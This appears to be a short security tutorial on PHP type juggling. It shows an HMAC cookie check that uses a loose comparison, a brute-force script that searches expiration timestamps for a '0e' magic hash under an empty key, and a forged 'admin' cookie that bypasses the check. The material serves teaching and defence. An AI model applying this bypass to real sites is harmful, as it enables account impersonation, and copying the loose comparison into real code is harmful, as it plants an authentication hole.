Type Juggling: Methodology
The vulnerability in the following code lies in the use of a loose comparison (!=) to validate the $cookie['hmac'] against the calculated $hash.
function validate_cookie($cookie,$key){
$hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['expiration'], $key);
if($cookie['hmac'] != $hash){ // loose comparison
return false;
}
else{
echo "Well done";
}
}In this case, if an attacker can control the $cookie['hmac'] value and set it to a string like "0", and somehow manipulate the hash_hmac function to return a hash that starts with "0e" followed only by numbers (which is interpreted as zero), the condition $cookie['hmac'] != $hash would evaluate to false, effectively bypassing the HMAC check.
We have control over 3 elements in the cookie:
$username- username you are targeting, probably "admin"$expiration- a UNIX timestamp, must be in the future$hmac- the provided hash, "0"
The exploitation phase is the following:
Prepare a malicious cookie: The attacker prepares a cookie with $username set to the user they wish to impersonate (for example, "admin"),
$expirationset to a future UNIX timestamp, and $hmac set to "0".Brute force the
$expirationvalue: The attacker then brute forces different$expirationvalues until the hash_hmac function generates a hash that starts with "0e" and is followed only by numbers. This is a computationally intensive process and might not be feasible depending on the system setup. However, if successful, this step would generate a "zero-like" hash.
// docker run -it --rm -v /tmp/test:/usr/src/myapp -w /usr/src/myapp php:8.3.0alpha1-cli-buster php exp.php
for($i=1424869663; $i < 1835970773; $i++ ){
$out = hash_hmac('md5', 'admin|'.$i, '');
if(str_starts_with($out, '0e' )){
if($out == 0){
echo "$i - ".$out;
break;
}
}
}
?>Update the cookie data with the value from the bruteforce:
1539805986 - 0e772967136366835494939987377058
$cookie = [
'username' => 'admin',
'expiration' => 1539805986,
'hmac' => '0'
];In this case we assumed the key was a null string :
$key = '';
Comments
No comments yet.